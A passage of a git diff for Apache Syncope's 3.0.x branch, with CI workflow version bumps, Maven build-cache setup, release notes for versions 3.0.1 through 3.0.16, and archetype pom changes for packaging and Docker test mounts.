hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Integration Tests: Oracle' @@ -52,17 +57,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 + with: + maven-version: 3.9.6 + - uses: actions/cache@v4 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Unit Tests: Oracle JPA JSON' diff --git a/.github/workflows/postgresql.yml b/.github/workflows/postgresql.yml index b1b575b3913..3efab625d64 100644 --- a/.github/workflows/postgresql.yml +++ b/.github/workflows/postgresql.yml @@ -18,10 +18,10 @@ name: "PostgreSQL" on: push: - branches: ['master', 'pr-*'] + branches: ['3_0_X', 'pr-*'] pull_request: # The branches below must be a subset of the branches above - branches: [master] + branches: [3_0_X] schedule: - cron: '0 13 * * 4' @@ -31,17 +31,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + maven-version: 3.9.6 + - uses: actions/cache@v4 + with: + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Integration Tests: PostgreSQL' @@ -52,17 +57,22 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v6 - name: Setup Java JDK - uses: actions/setup-java@v3 + uses: actions/setup-java@v5 with: distribution: 'zulu' java-version: 11 - - uses: actions/cache@v3 + - name: Setup Maven + uses: stCarolas/setup-maven@v5 + with: + maven-version: 3.9.6 + - uses: actions/cache@v4 with: - path: ~/.m2 - key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }} - restore-keys: ${{ runner.os }}-m2 + path: ~/.m2/repository + key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }} + restore-keys: | + ${{ runner.os }}-maven- - name: Build run: mvn -U -T 1C -P 'skipTests,all' - name: 'Unit Tests: PostgreSQL JPA JSON' diff --git a/.gitignore b/.gitignore index 1d105b47ba9..984b61bfb8c 100644 --- a/.gitignore +++ b/.gitignore @@ -7,7 +7,6 @@ target maven-eclipse.xml .externalToolBuilders -archetype/src/main/resources/archetype-resources/pom.xml *nb-configuration.xml node_modules **/checkstyle.cache diff --git a/SECURITY.md b/.mvn/extensions.xml similarity index 65% rename from SECURITY.md rename to .mvn/extensions.xml index 72c8f7851db..0fa026d33a7 100644 --- a/SECURITY.md +++ b/.mvn/extensions.xml @@ -1,3 +1,4 @@ + -# Security Policy - -## Supported Versions - -| Version | Supported | -| ------- | ------------------ | -| 3.0.x | :white_check_mark: | -| 2.1.x | :white_check_mark: | -| 2.0.x | :x: | -| 1.2.x | :x: | -| 1.1.x | :x: | - -## Reporting a Vulnerability - -The general guidelines are set by the Apache Security Team and described at https://apache.org/security/ + + + org.apache.maven.extensions + maven-build-cache-extension + 1.2.2 + + diff --git a/.mvn/maven-build-cache-config.xml b/.mvn/maven-build-cache-config.xml new file mode 100644 index 00000000000..0f0daea7fa0 --- /dev/null +++ b/.mvn/maven-build-cache-config.xml @@ -0,0 +1,53 @@ + + + + + true + XX + + + + {*.java,*.xml,*.properties} + + + + + + + + + + + unpack-autoupdate + + + + + + + install + + + + + + diff --git a/CHANGES b/CHANGES index ccd13febe80..7a9ca6e5c84 100644 --- a/CHANGES +++ b/CHANGES @@ -2,6 +2,304 @@ Apache Syncope - CHANGES Licensed under Apache License 2.0 - http://www.apache.org/licenses/LICENSE-2.0 -------------------------------------------------------------------------------- +Release Notes - Syncope - Version 3.0.16 +================================================================================ + +** Bug + * [SYNCOPE-1933] - Console: only first dynamic group is shown + * [SYNCOPE-1936] - WA: only SIGNATURE and CURRENT keys generated for OIDC + * [SYNCOPE-1937] - User password history length is not correctly trimmed + * [SYNCOPE-1943] - French Canadian GUI failed with Groups contextual menu + +Release Notes - Syncope - Version 3.0.15 +================================================================================ + +** Bug + * [SYNCOPE-1922] - Disallow searches by encrypted attribute + * [SYNCOPE-1924] - Bug in retainAll, removeAll, and removeIf methods of PropagationByResource + * [SYNCOPE-1925] - Contextual menu stays open after modal window is closed + +** Improvement + * [SYNCOPE-1926] - Reduce number of update on Syncope after a SCIM PATCH + * [SYNCOPE-1932] - Improve AES management + +Release Notes - Syncope - Version 3.0.14 +================================================================================ + +** Bug + * [SYNCOPE-1906] - Wrong result order if sorting by plain attribute + * [SYNCOPE-1912] - Linked account password is not propagated on update + * [SYNCOPE-1920] - Error in search panel while trying to add a condition after an attribute of type Long + +** Improvement + * [SYNCOPE-1907] - Run Groovy code in a sandbox + * [SYNCOPE-1908] - Improve Relationship management + * [SYNCOPE-1909] - Docker containers as unprivileged user + * [SYNCOPE-1918] - Push task with assign unmatching rule remove dynamic memberships + +Release Notes - Syncope - Version 3.0.13 +================================================================================ + +** Bug + * [SYNCOPE-1888] - Console: change required property for specific inputs in policy configuration + * [SYNCOPE-1891] - Missing mapped attribute setting for SAML2IdPAuthModuleConf + * [SYNCOPE-1894] - Mapping parsing error while schema contains a dot + * [SYNCOPE-1895] - Console CSV export does not consider search filter + * [SYNCOPE-1896] - Audit: not serializable exception for ConnectorObject and Any instances + * [SYNCOPE-1902] - Can't set Unauthorized Redirect URL in access policy via Console + * [SYNCOPE-1904] - Console: cannot edit authentication.attributes under Keymaster > Parameters + +** Improvement + * [SYNCOPE-1886] - Elasticsearch and Opensearch query performance improvements + * [SYNCOPE-1887] - Enduser: require re-authentication for sensitive features + * [SYNCOPE-1889] - Improve group search using SCIM extension + * [SYNCOPE-1893] - SCIM extension improvement + * [SYNCOPE-1897] - WA: mapping Google MFA crypto settings + * [SYNCOPE-1900] - Implement OIDC Back-Channel Logout for Console and Enduser + +Release Notes - Syncope - Version 3.0.12 +================================================================================ + +** Bug + * [SYNCOPE-1868] - NPE when performing provision without changing password + * [SYNCOPE-1871] - Realm selection shows only one of allowed sub-trees + * [SYNCOPE-1873] - LocalDateTime fields not properly handled in BeanPanel + * [SYNCOPE-1875] - SAML delegated authentication: metadata keeps getting re-generated + * [SYNCOPE-1878] - Priority propagation failing with NOT_ATTEMPTED + * [SYNCOPE-1883] - Google MFA authentication does not validate scratch codes + * [SYNCOPE-1884] - Errors with Encrypted plain values + +** Improvement + * [SYNCOPE-1841] - Read-only multi value schema must not show new and delete button + * [SYNCOPE-1869] - Support evaluation order for client apps + * [SYNCOPE-1872] - Allow setting of force execution for MFA authentication + * [SYNCOPE-1880] - SCIM endpoints ignore the Prefer header + * [SYNCOPE-1885] - Self password reset does not trigger notification tasks without Flowable extension + +** Task + * [SYNCOPE-1866] - Implement AuthProfile management in Enduser + +Release Notes - Syncope - Version 3.0.11 +================================================================================ + +** Bug + * [SYNCOPE-1849] - NullPointerException when logging into Console + * [SYNCOPE-1851] - NullPointerExeption for Date fields in Macro execution forms + * [SYNCOPE-1853] - Deprovision is wrongly fired on group delete + * [SYNCOPE-1856] - Administrator can update and delete realms outside of the granted subtree + * [SYNCOPE-1858] - Macro operation with dropdown form property without default value generates stacktrace + * [SYNCOPE-1860] - Standalone WAR artifacts duplicates JAR dependencies + * [SYNCOPE-1864] - Unwanted password propagation after update on pull + * [SYNCOPE-1867] - Prevent NPE when fetching realm entitlements to enforce authorization + +** Improvement + * [SYNCOPE-1854] - propagation not triggered after user updated while in status "updateApproved" + * [SYNCOPE-1855] - Refactor database search to use less nested queries + * [SYNCOPE-1859] - SearchPanel displays the schema keys and doesn't consider translations + * [SYNCOPE-1865] - Allow to specify signing and encryption algorithms for OIDC client application + +Release Notes - Syncope - Version 3.0.10 +================================================================================ + +** Bug + * [SYNCOPE-1686] - relationship refering to object itself + * [SYNCOPE-1833] - Non-compliant SCIM payload returned when user extension is defined + * [SYNCOPE-1837] - Resources, Relationships and AuxClasses are deleted after SCIM PUT method invocation + * [SYNCOPE-1838] - Group owners cannot log into Console + * [SYNCOPE-1839] - In Console Commands cannot be removed from Macro Tasks + * [SYNCOPE-1840] - Cannot define the same form property for different Macro tasks + * [SYNCOPE-1846] - Cannot create more than one relationship at a time from the console + * [SYNCOPE-1847] - Propagation task audit throws exception during serialzation + * [SYNCOPE-1848] - Can't read user memberships with SCIM search endpoint + +** Improvement + * [SYNCOPE-1835] - Support Credential Criteria for LDAP authentication + * [SYNCOPE-1836] - Password propagation on resource doesn't happen from the SCIM extension + * [SYNCOPE-1842] - Support Credential Criteria for JAAS, JDBC and Syncope authentication + * [SYNCOPE-1843] - Support Azure AD authentication and attribute resolution + * [SYNCOPE-1844] - Support Okta authentication and attribute repository + * [SYNCOPE-1845] - Support doubleclik on data tables rows + +Release Notes - Syncope - Version 3.0.9 +================================================================================ + +** Bug + * [SYNCOPE-1824] - Password policies are not always enforced on linked account password while updating account + * [SYNCOPE-1825] - Database schema not set on OpenJPA even if configured by properties + * [SYNCOPE-1826] - Search fails if search condition contains four digits at the end of the value + * [SYNCOPE-1828] - Can't open the profiles tab in WA page if one of the fields is null + * [SYNCOPE-1831] - SCIM general configuration can not be updated + +** New Feature + * [SYNCOPE-1662] - Leverage MariaDB JSON type + +** Improvement + * [SYNCOPE-1830] - Add support for membership attributes on elasticsearch and opensearch searches + * [SYNCOPE-1832] - Replace number input method for UI + +Release Notes - Syncope - Version 3.0.8 +================================================================================ + +** Improvement + * [SYNCOPE-1822] - SCIM: support user extension + * [SYNCOPE-1823] - SCIM: support search by extension attributes + +Release Notes - Syncope - Version 3.0.7 +================================================================================ + +** Bug + * [SYNCOPE-1798] - Incorrect descendant Realms found by Elasticsearch / OpenSearch + * [SYNCOPE-1800] - FIQL comparison espressions with single quote cause JSONB search to fail + * [SYNCOPE-1803] - Can't remove multivalue membership plain schema value from console + * [SYNCOPE-1806] - Overlapping dynamic realms don't get updated + * [SYNCOPE-1808] - Wrong location for group in ResourceTypes SCIM service + * [SYNCOPE-1812] - Can't perform case-sensitive search using MariaDB + * [SYNCOPE-1813] - Wrong provisioning result shown after batch operation + * [SYNCOPE-1817] - Standalone: components not available + * [SYNCOPE-1818] - Wrong status value propagated to external resources if changed while pulling + * [SYNCOPE-1820] - Console label not working with multivalue schema + +** Improvement + * [SYNCOPE-1802] - Missing delegated SAML2 IdP configuration parameters + * [SYNCOPE-1807] - Status propagation on resource doesn't happen from the SCIM extension + * [SYNCOPE-1809] - Cleanup of uid-on-create attribute on resource unassignment + * [SYNCOPE-1811] - Missing Bypass MFA properties + * [SYNCOPE-1815] - Macro improvements + * [SYNCOPE-1816] - Provide the possibility to add a JcifsSpnegoAuthenticationHandler + +** Task + * [SYNCOPE-1805] - Upgrade Spring Framework and Security versions + +Release Notes - Syncope - Version 3.0.6 +================================================================================ + +** Bug + * [SYNCOPE-1778] - Reset password requires double click in order to provide username + * [SYNCOPE-1779] - Missing support for underscore in queries + * [SYNCOPE-1785] - Display rows changes not effective until reload + * [SYNCOPE-1790] - Swagger filtered GET returns multiple Users/AnyObjects instead of one + * [SYNCOPE-1791] - Unable to save audit config for CUSTOM event in the console + * [SYNCOPE-1792] - Error in console while editing conf parameter with values containing numbers + * [SYNCOPE-1793] - A logged in user cannot associate/deassociate a resource to himself + * [SYNCOPE-1794] - SAML: Authentication issue instant is too old or in the future + +** New Feature + * [SYNCOPE-1783] - Provide OpenSearch extension + * [SYNCOPE-1789] - Add support for X509 authentication + * [SYNCOPE-1796] - Verify access token issued by Microsoft Entra (formerly Azure) + +** Improvement + * [SYNCOPE-1780] - Password policy allows a minimum length less than the number of characters needed + * [SYNCOPE-1784] - Allow you to use other OIDCScopes in addition to those currently defined + * [SYNCOPE-1786] - Self Keymaster improvements + * [SYNCOPE-1787] - Support deployments with large number of Realms + * [SYNCOPE-1788] - Allow to insert JWKS value in OIDC Client Applications + * [SYNCOPE-1795] - JWT_SSO_PROVIDER and AUDIT_APPENDER should not be Implementations + * [SYNCOPE-1797] - Compatibility of SCIM 2.0 requests from Microsoft Entra + +Release Notes - Syncope - Version 3.0.5 +================================================================================ + +** Bug + * [SYNCOPE-1764] - Connector capabilities and/or configuration are not updated in cluster environments + * [SYNCOPE-1770] - Errors upon Core restart after adding domain + * [SYNCOPE-1774] - Admin console does not recognize parameter type + * [SYNCOPE-1777] - DelegatedAdministrationException is occasionally thrown during Pull Task execution + +** New Feature + * [SYNCOPE-1772] - WA: support MFA trusted device storage + +** Improvement + * [SYNCOPE-1771] - WA: support delegated authentication for Google, Keycloak and Apple ID + * [SYNCOPE-1773] - Support configuration for multi-nodes Elasticsearch clusters + * [SYNCOPE-1775] - It should be possible to set logoutType to WA services + * [SYNCOPE-1776] - Let Elasticsearch re-index use bulk requests + +Release Notes - Syncope - Version 3.0.4 +================================================================================ + +** Bug + * [SYNCOPE-1755] - NullPointer exception during PULL delete operation in case of NO_MATCH + * [SYNCOPE-1757] - Misalignment between SyncTokenSerializer and SyncTokenDeserializer in case of token given as a clear string + * [SYNCOPE-1761] - As admin, searching Users, Groups or Any Objects performs full Realm tree traversal + * [SYNCOPE-1763] - Constant increase of open files after upgrade to CXF 3.6.0 + * [SYNCOPE-1767] - When searching Groups with GROUP_MEMBER condition only Users are considered + +** Improvement + * [SYNCOPE-1759] - REST endpoint to evaluate account and password compliance with policies + * [SYNCOPE-1760] - Align Core Spring Boot actuator endpoint security with other components + * [SYNCOPE-1762] - Enrich actuator info with JPA provider information + * [SYNCOPE-1765] - allow WA to decrypt properties during the configuration bootstrap phase + * [SYNCOPE-1768] - Improve internal storage export feature + * [SYNCOPE-1769] - Allow the same name to be used across different Any Object types + +Release Notes - Syncope - Version 3.0.3 +================================================================================ + +** Bug + * [SYNCOPE-1731] - Performance issue with multiple any type classes + * [SYNCOPE-1734] - Elasticsearch not updated for uidOnCreate + * [SYNCOPE-1735] - Can't retrieve all policies during Realm create and update + * [SYNCOPE-1736] - Templates do not set the latest additions to Users and Groups + * [SYNCOPE-1737] - Cannot specifiy attribute mapping for AttributeRelease policies + * [SYNCOPE-1739] - Wrong volume mapping for source code in fit docker profile + * [SYNCOPE-1742] - Exception in console when defining a date for delegation + * [SYNCOPE-1749] - Incorrect Dynamic Group Membership Condition save from Console + * [SYNCOPE-1750] - Password policy not enforced if password is not stored in Syncope + +** New Feature + * [SYNCOPE-1741] - Add support form Azure Active Directory delegated authentication + * [SYNCOPE-1746] - Provide Software Bill Of Materials (SBOM) + +** Improvement + * [SYNCOPE-1732] - Console does not support custom Access Policy Configuration + * [SYNCOPE-1733] - Support OAUTH20 authentication module in WA + * [SYNCOPE-1738] - Refactor Report management + * [SYNCOPE-1740] - Allow to specify UsernameAttributeProvider for Client Applications + * [SYNCOPE-1743] - Add support for Ticket Expiration Policies into ClientApp + * [SYNCOPE-1745] - Allow to manage ConnId bundles with more Connectors + * [SYNCOPE-1747] - Provide controls to refresh WA client applications from Console + * [SYNCOPE-1748] - SCIM 2.0 Implement PATCH operations + * [SYNCOPE-1751] - Improve password auto generation on propagation + * [SYNCOPE-1752] - Support large number of Realms + * [SYNCOPE-1753] - Extend changes' history management to most relevant WA configuration objects + +Release Notes - Syncope - Version 3.0.2 +================================================================================ + +** Bug + * [SYNCOPE-1725] - Error when searching with high number of OR or AND conditions with Elasticsearch + * [SYNCOPE-1726] - WA does not always get configuration from Core on startup + * [SYNCOPE-1727] - Elasticsearch cannot find anything under given Realm in case of parent update + * [SYNCOPE-1728] - Unable to create LDAP authentication module from console + * [SYNCOPE-1730] - Standalone on Windows: Console Topology page does not show any Connector or Resource + +** Improvement + * [SYNCOPE-1722] - Allow password fields to reveal their value to the end-user + * [SYNCOPE-1723] - remove some non-reproducible bits + * [SYNCOPE-1724] - Provide health status for Elasticsearch + * [SYNCOPE-1729] - Configure Maven Build Cache Extension + +Release Notes - Syncope - Version 3.0.1 +================================================================================ + +** Bug + * [SYNCOPE-1711] - WA Docker image not working properly + * [SYNCOPE-1712] - Invalid HTTP method: PATCH with JDK 17 + * [SYNCOPE-1715] - Cannot update Audit settings via Console + +** New Feature + * [SYNCOPE-1105] - Provide unique key for operations + +** Improvement + * [SYNCOPE-1709] - Persist Jobs' current status in the database to support multi-node deployments + * [SYNCOPE-1713] - Support time-based conditions for Audit, Exec and Remediation queries + * [SYNCOPE-1714] - Support Docker deployments from archetype + * [SYNCOPE-1716] - Concurrent handling for pull and push tasks + * [SYNCOPE-1719] - Remove limitations for memberships and relationships + * [SYNCOPE-1720] - Switch persistence identifiers to UUID version 7 + * [SYNCOPE-1721] - Allow for more Access Policy types + Release Notes - Syncope - Version 3.0.0 ================================================================================ diff --git a/NOTICE b/NOTICE index 20545c539f1..d7aa1399613 100644 --- a/NOTICE +++ b/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2022 The Apache Software Foundation +Copyright 2012-2023 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). diff --git a/README.md b/README.md deleted file mode 100644 index da05e9a8784..00000000000 --- a/README.md +++ /dev/null @@ -1,35 +0,0 @@ - -**Apache Syncope** is an Open Source system for managing digital identities in enterprise environments, -implemented in Java EE technology and released under Apache 2.0 license. - -More information at https://syncope.apache.org - - - - - - - - - - - - - diff --git a/archetype/pom.xml b/archetype/pom.xml index d75dd77f555..3e9fae9a9e5 100644 --- a/archetype/pom.xml +++ b/archetype/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Archetype @@ -34,6 +34,8 @@ under the License. maven-archetype + 3.4.1 + ${basedir}/.. @@ -42,7 +44,7 @@ under the License. org.apache.maven.archetype archetype-packaging - 3.2.0 + ${maven.archetype.version} @@ -51,56 +53,38 @@ under the License. org.apache.maven.plugins maven-archetype-plugin - 3.2.1 + ${maven.archetype.version} true - - org.codehaus.mojo - xml-maven-plugin - true + org.apache.maven.plugins + maven-antrun-plugin - generate-resources + adjust-MasterContent - transform + run + prepare-package + + + + + + + - - - - ${basedir}/src/main/resources - - meta-pom.xml - - ${basedir}/src/main/resources/archetype-resources - ${basedir}/src/main/resources/properties2pom.xsl - - - syncopeVersion - ${project.version} - - - - - indent - yes - - - - - ^meta-(.*)\.xml$ - $1.xml - - - - - @@ -131,18 +115,18 @@ under the License. core.properties - ${project.build.outputDirectory}/archetype-resources/core/src/main/resources + archetype-resources/core/src/main/resources ../core/provisioning-java/src/main/resources - ${project.build.outputDirectory}/archetype-resources/core/src/main/resources + archetype-resources/core/src/main/resources ../core/persistence-jpa/src/main/resources META-INF/spring-persistence.xml - ${project.build.outputDirectory}/archetype-resources/core/src/main/resources + archetype-resources/core/src/main/resources ../core/persistence-jpa-json/src/main/resources/ @@ -150,41 +134,41 @@ under the License. META-INF/* audit/* - ${project.build.outputDirectory}/archetype-resources/core/src/main/resources + archetype-resources/core/src/main/resources ../core/persistence-jpa/src/test/resources/domains - ${project.build.outputDirectory}/archetype-resources/core/src/test/resources/domains + archetype-resources/core/src/test/resources/domains ../fit/core-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/core/src/main/resources + archetype-resources/core/src/main/resources log4j2.xml ../fit/core-reference/src/test/resources - ${project.build.outputDirectory}/archetype-resources/core/src/test/resources + archetype-resources/core/src/test/resources keystore ../fit/core-reference/src/test/resources/scriptedsql - ${project.build.outputDirectory}/archetype-resources/core/src/test/resources/scriptedsql + archetype-resources/core/src/test/resources/scriptedsql ../fit/core-reference/src/test/resources/rest - ${project.build.outputDirectory}/archetype-resources/core/src/test/resources/rest + archetype-resources/core/src/test/resources/rest ../fit/core-reference/src/main/webapp/WEB-INF - ${project.build.outputDirectory}/archetype-resources/core/src/main/webapp/WEB-INF + archetype-resources/core/src/main/webapp/WEB-INF ../fit/core-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/core/src/test/resources + archetype-resources/core/src/test/resources core-embedded.properties core-all.properties @@ -195,25 +179,25 @@ under the License. ../client/idrepo/console/src/main/resources - ${project.build.outputDirectory}/archetype-resources/console/src/main/resources + archetype-resources/console/src/main/resources console.properties ../fit/console-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/console/src/main/resources + archetype-resources/console/src/main/resources log4j2.xml ../fit/console-reference/src/main/webapp/WEB-INF - ${project.build.outputDirectory}/archetype-resources/console/src/main/webapp/WEB-INF + archetype-resources/console/src/main/webapp/WEB-INF ../fit/console-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/console/src/test/resources + archetype-resources/console/src/test/resources console-embedded.properties console-https.properties @@ -222,7 +206,7 @@ under the License. ../client/idrepo/enduser/src/main/resources - ${project.build.outputDirectory}/archetype-resources/enduser/src/main/resources + archetype-resources/enduser/src/main/resources enduser.properties customFormLayout.json @@ -230,18 +214,18 @@ under the License. ../fit/enduser-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/enduser/src/main/resources + archetype-resources/enduser/src/main/resources log4j2.xml ../fit/enduser-reference/src/main/webapp/WEB-INF - ${project.build.outputDirectory}/archetype-resources/enduser/src/main/webapp/WEB-INF + archetype-resources/enduser/src/main/webapp/WEB-INF ../fit/enduser-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/enduser/src/test/resources + archetype-resources/enduser/src/test/resources enduser-embedded.properties enduser-https.properties @@ -250,11 +234,11 @@ under the License. ../sra/src/main/resources - ${project.build.outputDirectory}/archetype-resources/sra/src/main/resources + archetype-resources/sra/src/main/resources ../fit/wa-reference/src/test/resources - ${project.build.outputDirectory}/archetype-resources/sra/src/test/resources + archetype-resources/sra/src/test/resources sra-*.properties @@ -266,22 +250,22 @@ under the License. cas-theme-default.properties wa.properties - ${project.build.outputDirectory}/archetype-resources/wa/src/main/resources + archetype-resources/wa/src/main/resources ../fit/wa-reference/src/main/webapp/WEB-INF - ${project.build.outputDirectory}/archetype-resources/wa/src/main/webapp/WEB-INF + archetype-resources/wa/src/main/webapp/WEB-INF ../fit/wa-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/wa/src/main/resources + archetype-resources/wa/src/main/resources log4j2.xml ../fit/wa-reference/src/main/resources - ${project.build.outputDirectory}/archetype-resources/wa/src/test/resources + archetype-resources/wa/src/test/resources wa-embedded.properties @@ -289,7 +273,7 @@ under the License. ../fit/wa-reference/src/test/resources - ${project.build.outputDirectory}/archetype-resources/fit/src/test/resources + archetype-resources/fit/src/test/resources keystore.jks diff --git a/archetype/src/main/resources/archetype-resources/common/pom.xml b/archetype/src/main/resources/archetype-resources/common/pom.xml index b7e87968a9c..16e1d9e0e14 100644 --- a/archetype/src/main/resources/archetype-resources/common/pom.xml +++ b/archetype/src/main/resources/archetype-resources/common/pom.xml @@ -38,6 +38,10 @@ under the License. org.apache.syncope.common.idm syncope-common-idm-lib + + org.apache.syncope.common.am + syncope-common-am-lib + diff --git a/archetype/src/main/resources/archetype-resources/console/pom.xml b/archetype/src/main/resources/archetype-resources/console/pom.xml index b1bca655473..5292c723a57 100644 --- a/archetype/src/main/resources/archetype-resources/console/pom.xml +++ b/archetype/src/main/resources/archetype-resources/console/pom.xml @@ -30,7 +30,11 @@ under the License. Apache Syncope sample project - Console ${groupId} ${artifactId} - war + ${packaging} + + + war + @@ -121,8 +125,12 @@ under the License. - executable - + standalone + + + jar + + org.springframework.boot diff --git a/archetype/src/main/resources/archetype-resources/core/pom.xml b/archetype/src/main/resources/archetype-resources/core/pom.xml index 602e5280b2e..93a046ac73b 100644 --- a/archetype/src/main/resources/archetype-resources/core/pom.xml +++ b/archetype/src/main/resources/archetype-resources/core/pom.xml @@ -30,7 +30,11 @@ under the License. Apache Syncope sample project - Core ${groupId} ${artifactId} - war + ${packaging} + + + war + @@ -158,10 +162,6 @@ under the License. src/main/resources true - - workflow.properties - provisioning.properties - src/main/resources/all @@ -172,17 +172,12 @@ under the License. - - executable - + standalone + + + jar + + org.springframework.boot diff --git a/archetype/src/main/resources/archetype-resources/enduser/pom.xml b/archetype/src/main/resources/archetype-resources/enduser/pom.xml index 04dbfa86d3d..3f4da4cf70d 100644 --- a/archetype/src/main/resources/archetype-resources/enduser/pom.xml +++ b/archetype/src/main/resources/archetype-resources/enduser/pom.xml @@ -30,7 +30,11 @@ under the License. Apache Syncope sample project - Enduser ${groupId} ${artifactId} - war + ${packaging} + + + war + @@ -40,8 +44,8 @@ under the License. - org.apache.syncope.client.idrepo - syncope-client-idrepo-enduser + org.apache.syncope.client.am + syncope-client-am-enduser @@ -148,8 +152,12 @@ under the License. - executable - + standalone + + + jar + + org.springframework.boot diff --git a/archetype/src/main/resources/archetype-resources/fit/pom.xml b/archetype/src/main/resources/archetype-resources/fit/pom.xml index 6999730f1de..e55d33bc8e8 100644 --- a/archetype/src/main/resources/archetype-resources/fit/pom.xml +++ b/archetype/src/main/resources/archetype-resources/fit/pom.xml @@ -194,9 +194,10 @@ under the License. -Djavax.net.ssl.trustStore=${basedir}/src/test/resources/keystore.jks -Djavax.net.ssl.trustStorePassword=password + -Dreactor.netty.http.server.accessLogEnabled=true + -Dsyncope.log.dir=${project.build.directory}/log -jar ${basedir}/../sra/target/syncope-sra-exec.jar - -Dreactor.netty.http.server.accessLogEnabled=true ${basedir}/../sra/target/test-classes @@ -222,8 +223,6 @@ under the License. ${project.build.directory}/cargo/extract 600000 - ${cargo.log} - ${cargo.output} @@ -240,6 +239,9 @@ under the License. ${basedir}/src/test/resources/keystore.jks password + + ${basedir}/../core/target/test-classes + file:${basedir}/../core/target/bundles/ @@ -298,6 +300,25 @@ under the License. + + org.codehaus.mojo + build-helper-maven-plugin + + + regex-property + + regex-property + + + groupIdDocker + ${groupId} + \. + / + true + + + + @@ -409,6 +430,11 @@ under the License. postgres + -Dfile.encoding=UTF-8 -Dwicket.ioc.useByteBuddy=true -server -Xms1536m -Xmx1536m + -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC + -Djava.security.egd=file:/dev/./urandom + -Djavax.net.ssl.trustStore=/opt/syncope/conf/keystore.p12 + -Djavax.net.ssl.trustStorePassword=password docker,postgresql,all jdbc:postgresql://postgres:5432/syncope?stringtype=unspecified syncope @@ -426,7 +452,9 @@ under the License. ${basedir}/../core/target/classes/domains/MasterContent.xml:/opt/syncope/conf/domains/MasterContent.xml:ro - ${settings.localRepository}/${groupId}/syncope-core/${project.version}/syncope-core-${project.version}-classes.jar:/opt/syncope/lib/${groupId}-syncope-core-classes.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-core/${project.version}/syncope-core-${project.version}-classes.jar:/opt/syncope/lib/syncope-core-classes.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-common/${project.version}/syncope-common-${project.version}.jar:/opt/syncope/lib/syncope-common.jar:ro + ${basedir}/src/test/resources/keystore.p12:/opt/syncope/conf/keystore.p12:ro @@ -445,11 +473,6 @@ under the License. syncope - -Dfile.encoding=UTF-8 -Dwicket.ioc.useByteBuddy=true -server -Xms1536m -Xmx1536m - -XX:NewSize=256m -XX:MaxNewSize=256m -XX:+DisableExplicitGC - -Djava.security.egd=file:/dev/./urandom - -Djavax.net.ssl.trustStore=/opt/syncope/conf/keystore.p12 - -Djavax.net.ssl.trustStorePassword=password docker,all http://syncope-console:8080/syncope-console/ http://syncope:8080/syncope/rest/keymaster @@ -460,8 +483,8 @@ under the License. - ${basedir}/src/test/resources/keystore.p12:/opt/syncope/conf/keystore.p12:ro - ${settings.localRepository}/${groupId}/syncope-console/${project.version}/syncope-console-${project.version}-classes.jar:/opt/syncope/lib/${groupId}-syncope-console-classes.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-console/${project.version}/syncope-console-${project.version}-classes.jar:/opt/syncope/lib/syncope-console-classes.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-common/${project.version}/syncope-common-${project.version}.jar:/opt/syncope/lib/syncope-common.jar:ro @@ -491,7 +514,8 @@ under the License. - ${settings.localRepository}/${groupId}/syncope-enduser/${project.version}/syncope-enduser-${project.version}-classes.jar:/opt/syncope/lib/${groupId}-syncope-enduser-classes.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-enduser/${project.version}/syncope-enduser-${project.version}-classes.jar:/opt/syncope/lib/syncope-enduser-classes.jar:ro + ${settings.localRepository}/${groupIdDocker}/syncope-common/${project.version}/syncope-common-${project.version}.jar:/opt/syncope/lib/syncope-common.jar:ro @@ -524,7 +548,8 @@ under the License. ${basedir}/../wa/src/test/resources/wa-docker-https.properties:/opt/syncope/conf/wa-docker-https.properties:ro ${basedir}/src/test/resources/keystore.p12:/opt/syncope/conf/keystore.p12:ro - ${settings.localRepository}/${groupId}/syncope-wa/${project.version}/syncope-wa-${project.version}-classes.jar:/opt/syncope/lib/${groupId}-syncope-wa-classes.jar:ro + 